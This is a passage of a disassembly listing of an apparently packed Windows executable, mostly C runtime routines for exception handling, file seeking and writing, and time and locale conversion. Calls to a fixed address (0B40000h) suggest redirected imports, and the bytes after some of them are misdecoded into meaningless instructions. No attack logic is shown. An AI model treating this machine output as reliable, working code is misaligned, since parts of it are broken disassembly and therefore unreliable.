mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4E1598
mov [ebp+var_1C], ecx
mov ecx, dword_4E159C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4E1598, edi
mov ecx, [ebp+arg_8]
mov dword_4E159C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41CFF5
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_4220B7
mov eax, [ebp+var_2C]
loc_42207E: ; CODE XREF: sub_422097+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_421FF1 endp
; =============== S U B R O U T I N E =======================================
sub_42208D proc near ; DATA XREF: .nsp0:004278C0o
push dword ptr [ebp-14h]
call sub_4220FD
pop ecx
retn
sub_42208D endp
; =============== S U B R O U T I N E =======================================
sub_422097 proc near ; DATA XREF: .nsp0:004278C4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D256
pop ecx
pop ecx
xor eax, eax
jmp short loc_42207E
sub_422097 endp
; ---------------------------------------------------------------------------
loc_4220AF: ; DATA XREF: .nsp0:004278B8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_4220B7 proc near ; CODE XREF: sub_421FF1+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4E1598, eax
mov eax, [ebp-20h]
mov dword_4E159C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_4220FC
cmp dword ptr [edi+10h], 3
jnz short locret_4220FC
cmp dword ptr [edi+14h], 19930520h
jnz short locret_4220FC
cmp [ebp-24h], ebx
jnz short locret_4220FC
cmp [ebp-2Ch], ebx
jz short locret_4220FC
call sub_41D2BE
push eax
push edi
call sub_4222EB
pop ecx
pop ecx
locret_4220FC: ; CODE XREF: sub_4220B7+1Cj
; sub_4220B7+22j ...
retn
sub_4220B7 endp
; =============== S U B R O U T I N E =======================================
sub_4220FD proc near ; CODE XREF: sub_42208D+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422124
cmp dword ptr [eax+10h], 3
jnz short loc_422124
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422124
cmp dword ptr [eax+1Ch], 0
jnz short loc_422124
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422124: ; CODE XREF: sub_4220FD+Cj
; sub_4220FD+12j ...
xor eax, eax
retn
sub_4220FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422127 proc near ; CODE XREF: sub_421F76+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_4222D0
cmp byte ptr [eax+8], 0
jz loc_4222D0
mov eax, [ecx+8]
test eax, eax
jz loc_4222D0
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_4221C4
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4245D0
pop ecx
pop ecx
test eax, eax
jz loc_4222C7
push 1
push edi
call sub_4245EC
pop ecx
pop ecx
test eax, eax
jz loc_4222C7
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_4221B5: ; CODE XREF: sub_422127+F5j
push eax
call sub_422352
pop ecx
pop ecx
mov [edi], eax
jmp loc_4222CC
; ---------------------------------------------------------------------------
loc_4221C4: ; CODE XREF: sub_422127+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_42221E
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4245D0
pop ecx
pop ecx
test eax, eax
jz loc_4222C7
push 1
push edi
call sub_4245EC
pop ecx
pop ecx
test eax, eax
jz loc_4222C7
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D330
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_4222CC
mov eax, [edi]
test eax, eax
jz loc_4222CC
add esi, 8
push esi
jmp short loc_4221B5
; ---------------------------------------------------------------------------
loc_42221E: ; CODE XREF: sub_422127+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422266
call sub_4245D0
pop ecx
pop ecx
test eax, eax
jz loc_4222C7
push 1
push edi
call sub_4245EC
pop ecx
pop ecx
test eax, eax
jz short loc_4222C7
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422352
pop ecx
pop ecx
push eax
push edi
call sub_41D330
add esp, 0Ch
jmp short loc_4222CC
; ---------------------------------------------------------------------------
loc_422266: ; CODE XREF: sub_422127+103j
call sub_4245D0
pop ecx
pop ecx
test eax, eax
jz short loc_4222C7
push 1
push edi
call sub_4245EC
pop ecx
pop ecx
test eax, eax
jz short loc_4222C7
push dword ptr [esi+18h]
call sub_424608
pop ecx
test eax, eax
jz short loc_4222C7
test byte ptr [esi], 4
jz short loc_4222AD
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422352
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CF69
jmp short loc_4222CC
; ---------------------------------------------------------------------------
loc_4222AD: ; CODE XREF: sub_422127+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422352
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CF62
jmp short loc_4222CC
; ---------------------------------------------------------------------------
loc_4222C7: ; CODE XREF: sub_422127+6Aj
; sub_422127+7Cj ...
call sub_422422
loc_4222CC: ; CODE XREF: sub_422127+98j
; sub_422127+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_4222D0: ; CODE XREF: sub_422127+2Ej
; sub_422127+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422127 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4223CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222EB proc near ; CODE XREF: sub_421C16+170p
; sub_4220B7+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422332
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422332
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41CF62
or [ebp+var_4], 0FFFFFFFFh
loc_422332: ; CODE XREF: sub_4222EB+2Aj
; sub_4222EB+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222EB endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4223CC
; =============== S U B R O U T I N E =======================================
sub_422352 proc near ; CODE XREF: sub_422127+8Fp
; sub_422127+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422373
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422373: ; CODE XREF: sub_422352+12j
pop esi
retn
sub_422352 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422380 proc near ; CODE XREF: sub_41CFF5+40p
; sub_421EC2+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D2E1
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_4223BF
mov ecx, 2
loc_4223BF: ; CODE XREF: sub_422380+38j
push ecx
call sub_41D2E1
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223CC proc near ; CODE XREF: sub_421C16:loc_421DB8j
; sub_421F60:loc_421F71j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424620 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E8
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4E15A4
test eax, eax
jz short loc_422414
mov [ebp+var_4], 1
call eax ; dword_4E15A4
jmp short loc_422410
; ---------------------------------------------------------------------------
loc_422409: ; DATA XREF: .nsp0:004278F8o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42240D: ; DATA XREF: .nsp0:004278FCo
mov esp, [ebp+var_18]
loc_422410: ; CODE XREF: sub_4223CC+3Bj
and [ebp+var_4], 0
loc_422414: ; CODE XREF: sub_4223CC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_42241D: ; DATA XREF: .nsp0:004278F0o
jmp loc_424620
sub_4223CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422422 proc near ; CODE XREF: sub_41D197+23p
; sub_41D197:loc_41D202p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427900
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_442B34
test eax, eax
jz short loc_42246A
mov [ebp+var_4], 1
call eax ; sub_4223CC
jmp short loc_422466
; ---------------------------------------------------------------------------
loc_42245F: ; DATA XREF: .nsp0:00427910o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422463: ; DATA XREF: .nsp0:00427914o
mov esp, [ebp+var_18]
loc_422466: ; CODE XREF: sub_422422+3Bj
and [ebp+var_4], 0
loc_42246A: ; CODE XREF: sub_422422+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422473: ; DATA XREF: .nsp0:00427908o
jmp sub_4223CC
sub_422422 endp
; =============== S U B R O U T I N E =======================================
sub_422478 proc near ; CODE XREF: sub_41D673+7p
; sub_41D673+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_41E3A7
test eax, eax
pop ecx
jz short loc_422490
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_422490: ; CODE XREF: sub_422478+Ej
push esi
push 0
push dword_4E2B80
call dword_427058 ; RtlSizeHeap
pop esi
retn
sub_422478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224A1 proc near ; CODE XREF: sub_41D721+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_42255D
cmp ebx, 8Ah
jg loc_42255D
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_442FFC[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4224E0
cmp edi, 2
jle short loc_4224E0
inc esi
loc_4224E0: ; CODE XREF: sub_4224A1+37j
; sub_4224A1+3Cj
call sub_424637
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_442F18
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_422553
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422559
cmp dword_442F1C, 0
jz short loc_422559
lea eax, [ebp+var_24]
push eax
call sub_4248AA
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422559
loc_422553: ; CODE XREF: sub_4224A1+90j
add ecx, dword_442F20
loc_422559: ; CODE XREF: sub_4224A1+96j
; sub_4224A1+9Fj ...
mov eax, ecx
jmp short loc_422560
; ---------------------------------------------------------------------------
loc_42255D: ; CODE XREF: sub_4224A1+13j
; sub_4224A1+1Fj
or eax, 0FFFFFFFFh
loc_422560: ; CODE XREF: sub_4224A1+BAj
pop ebx
leave
retn
sub_4224A1 endp
; =============== S U B R O U T I N E =======================================
sub_422563 proc near ; DATA XREF: .nsp0:0042902Co
mov eax, dword_4E2940
push esi
push 14h
test eax, eax
pop esi
jnz short loc_422577
mov eax, 200h
jmp short loc_42257D
; ---------------------------------------------------------------------------
loc_422577: ; CODE XREF: sub_422563+Bj
cmp eax, esi
jge short loc_422582
mov eax, esi
loc_42257D: ; CODE XREF: sub_422563+12j
mov dword_4E2940, eax
loc_422582: ; CODE XREF: sub_422563+16j
push 4
push eax
call sub_424B96
pop ecx
mov dword_4E1924, eax
test eax, eax
pop ecx
jnz short loc_4225B6
push 4
push esi
mov dword_4E2940, esi
call sub_424B96
pop ecx
mov dword_4E1924, eax
test eax, eax
pop ecx
jnz short loc_4225B6
push 1Ah
call sub_41E0F9
pop ecx
loc_4225B6: ; CODE XREF: sub_422563+30j
; sub_422563+49j
xor ecx, ecx
mov eax, offset off_442B38
loc_4225BD: ; CODE XREF: sub_422563+6Ej
mov edx, dword_4E1924
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_442DB8
jl short loc_4225BD
xor edx, edx
mov ecx, offset dword_442B48
loc_4225DA: ; CODE XREF: sub_422563+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4E1820[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4225F7
test eax, eax
jnz short loc_4225FA
loc_4225F7: ; CODE XREF: sub_422563+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4225FA: ; CODE XREF: sub_422563+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_442BA8
jl short loc_4225DA
pop esi
retn
sub_422563 endp
; =============== S U B R O U T I N E =======================================
sub_422608 proc near ; DATA XREF: .nsp0:0042903Co
; FUNCTION CHUNK AT 00424C13 SIZE 00000058 BYTES
call sub_41E2B7
cmp byte_4E1538, 0
jz short locret_42261B
jmp loc_424C13
; ---------------------------------------------------------------------------
locret_42261B: ; CODE XREF: sub_422608+Cj
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
sub_42261C proc near ; CODE XREF: .nsp0:0041D924p
; sub_41EF81+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4E1920
push esi
push edi
jnb short loc_42269E
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4E1820h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_42269E
push eax
call sub_4237BE
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422660
mov dword_4E14F8, 9
jmp short loc_4226AF
; ---------------------------------------------------------------------------
loc_422660: ; CODE XREF: sub_42261C+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_427120 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422680
call dword_42708C ; RtlGetLastWin32Error
jmp short loc_422682
; ---------------------------------------------------------------------------
loc_422680: ; CODE XREF: sub_42261C+5Aj
xor eax, eax
loc_422682: ; CODE XREF: sub_42261C+62j
test eax, eax
jz short loc_42268F
push eax
call sub_420244
pop ecx
jmp short loc_4226AF
; ---------------------------------------------------------------------------
loc_42268F: ; CODE XREF: sub_42261C+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4226B2
; ---------------------------------------------------------------------------
loc_42269E: ; CODE XREF: sub_42261C+Dj
; sub_42261C+2Aj
and dword_4E14FC, 0
mov dword_4E14F8, 9
loc_4226AF: ; CODE XREF: sub_42261C+42j
; sub_42261C+71j
or eax, 0FFFFFFFFh
loc_4226B2: ; CODE XREF: sub_42261C+80j
pop edi
pop esi
pop ebx
retn
sub_42261C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226B6 proc near ; CODE XREF: .nsp0:0041D8E7p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4226D2
mov [edi+4], ebx
loc_4226D2: ; CODE XREF: sub_4226B6+17j
push 1
push ebx
push esi
call sub_42261C
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_422740
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_4226F7
sub eax, [edi+4]
jmp loc_422809
; ---------------------------------------------------------------------------
loc_4226F7: ; CODE XREF: sub_4226B6+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422731
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4E1820[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422748
mov edx, ecx
loc_422722: ; CODE XREF: sub_4226B6+79j
cmp edx, eax
jnb short loc_422748
cmp byte ptr [edx], 0Ah
jnz short loc_42272E
inc [ebp+var_8]
loc_42272E: ; CODE XREF: sub_4226B6+73j
inc edx
jmp short loc_422722
; ---------------------------------------------------------------------------
loc_422731: ; CODE XREF: sub_4226B6+50j
test dl, 80h
jnz short loc_422748
mov dword_4E14F8, 16h
loc_422740: ; CODE XREF: sub_4226B6+2Dj
or eax, 0FFFFFFFFh
jmp loc_422809
; ---------------------------------------------------------------------------
loc_422748: ; CODE XREF: sub_4226B6+68j
; sub_4226B6+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422756
mov eax, [ebp+var_8]
jmp loc_422809
; ---------------------------------------------------------------------------
loc_422756: ; CODE XREF: sub_4226B6+96j
test byte ptr [edi+0Ch], 1
jz loc_422801
mov edx, [edi+4]
test edx, edx
jnz short loc_42276F
and [ebp+var_8], edx
jmp loc_422801
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_4226B6+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4E1820h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4227FB
push 2
push 0
push [ebp+var_C]
call sub_42261C
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4227C2
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4227AD: ; CODE XREF: sub_4226B6+104j
cmp eax, ecx
jnb short loc_4227BC
cmp byte ptr [eax], 0Ah
jnz short loc_4227B9
inc [ebp+arg_0]
loc_4227B9: ; CODE XREF: sub_4226B6+FEj
inc eax
jmp short loc_4227AD
; ---------------------------------------------------------------------------
loc_4227BC: ; CODE XREF: sub_4226B6+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4227F6
; ---------------------------------------------------------------------------
loc_4227C2: ; CODE XREF: sub_4226B6+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42261C
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4227E9
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4227E9
test ch, 4
jz short loc_4227EC
loc_4227E9: ; CODE XREF: sub_4226B6+124j
; sub_4226B6+12Cj
mov eax, [edi+18h]
loc_4227EC: ; CODE XREF: sub_4226B6+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4227F6: ; CODE XREF: sub_4226B6+10Aj
jz short loc_4227FB
inc [ebp+arg_0]
loc_4227FB: ; CODE XREF: sub_4226B6+D9j
; sub_4226B6:loc_4227F6j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422801: ; CODE XREF: sub_4226B6+A4j
; sub_4226B6+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422809: ; CODE XREF: sub_4226B6+3Cj
; sub_4226B6+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4226B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42280E proc near ; CODE XREF: sub_41D984+A2p
; sub_41E25B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4E1920
push esi
push edi
jnb loc_4229A2
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4E1820h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_4229A2
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42285F
loc_422858: ; CODE XREF: sub_42280E+177j
xor eax, eax
jmp loc_4229B6
; ---------------------------------------------------------------------------
loc_42285F: ; CODE XREF: sub_42280E+48j
test al, 20h
jz short loc_42286F
push 2
push edi
push ecx
call sub_42261C
add esp, 0Ch
loc_42286F: ; CODE XREF: sub_42280E+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42293E
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422976
loc_42288F: ; CODE XREF: sub_42280E+F5j
lea eax, [ebp+var_414]
loc_422895: ; CODE XREF: sub_42280E+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4228C9
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4228B4
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4228B4: ; CODE XREF: sub_42280E+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_422895
loc_4228C9: ; CODE XREF: sub_42280E+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 0B40000h
leave
test eax, eax
jz short loc_422933
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422905
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42288F
loc_422905: ; CODE XREF: sub_42280E+EAj
; sub_42280E+12Ej
xor edi, edi
loc_422907: ; CODE XREF: sub_42280E+150j
; sub_42280E+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42299D
cmp [ebp+arg_0], edi
jz short loc_422976
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_42296B
mov dword_4E14F8, 9
mov dword_4E14FC, eax
jmp loc_4229B3
; ---------------------------------------------------------------------------
loc_422933: ; CODE XREF: sub_42280E+E0j
call dword_42708C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_42293E: ; CODE XREF: sub_42280E+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 0B40000h
add al, 85h
sal byte ptr [ebx+ecx-75h], 45h
hlt
; ---------------------------------------------------------------------------
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422907
; ---------------------------------------------------------------------------
call dword_42708C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_422907
; ---------------------------------------------------------------------------
loc_42296B: ; CODE XREF: sub_42280E+10Fj
push [ebp+arg_0]
call sub_420244
pop ecx
jmp short loc_4229B3
; ---------------------------------------------------------------------------
loc_422976: ; CODE XREF: sub_42280E+7Bj
; sub_42280E+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_42298B
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422858
loc_42298B: ; CODE XREF: sub_42280E+16Fj
mov dword_4E14F8, 1Ch
mov dword_4E14FC, edi
jmp short loc_4229B3
; ---------------------------------------------------------------------------
loc_42299D: ; CODE XREF: sub_42280E+FEj
sub eax, [ebp+var_10]
jmp short loc_4229B6
; ---------------------------------------------------------------------------
loc_4229A2: ; CODE XREF: sub_42280E+15j
; sub_42280E+37j
and dword_4E14FC, 0
mov dword_4E14F8, 9
loc_4229B3: ; CODE XREF: sub_42280E+120j
; sub_42280E+166j ...
or eax, 0FFFFFFFFh
loc_4229B6: ; CODE XREF: sub_42280E+4Cj
; sub_42280E+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42280E endp
; ---------------------------------------------------------------------------
loc_4229BB: ; CODE XREF: sub_41DC7A+47p
; sub_41DC7A+74p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427920
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp dword_4E15CC, edi
jnz short loc_422A31
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427918
mov esi, 100h
push esi
push edi
call dword_427050 ; LCMapStringW
test eax, eax
jz short loc_422A0F
mov dword_4E15CC, ebx
jmp short loc_422A31
; ---------------------------------------------------------------------------
loc_422A0F: ; CODE XREF: .nsp0:00422A05j
push edi
push edi
push ebx
push offset dword_4D10A8
push esi
push edi
call near ptr 0B40000h
xor [ebp+22840FC0h], al
add [eax], eax
add bh, al
add eax, offset dword_4E15CC
add al, [eax]
; ---------------------------------------------------------------------------
db 0
db 0
; ---------------------------------------------------------------------------
loc_422A31: ; CODE XREF: .nsp0:004229E9j
; .nsp0:00422A0Dj
cmp [ebp+14h], edi
jle short loc_422A46
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_422BDF
pop ecx
pop ecx
mov [ebp+14h], eax
loc_422A46: ; CODE XREF: .nsp0:00422A34j
mov eax, dword_4E15CC
cmp eax, 2
jnz short loc_422A6D
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0B40000h
dec eax
jmp loc_422B4B
; ---------------------------------------------------------------------------
loc_422A6D: ; CODE XREF: .nsp0:00422A4Ej
cmp eax, 1
jnz loc_422B49
cmp [ebp+20h], edi
jnz short loc_422A83
mov eax, dword_4E15C0
mov [ebp+20h], eax
loc_422A83: ; CODE XREF: .nsp0:00422A79j
push edi
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov eax, [ebp+24h]
neg eax
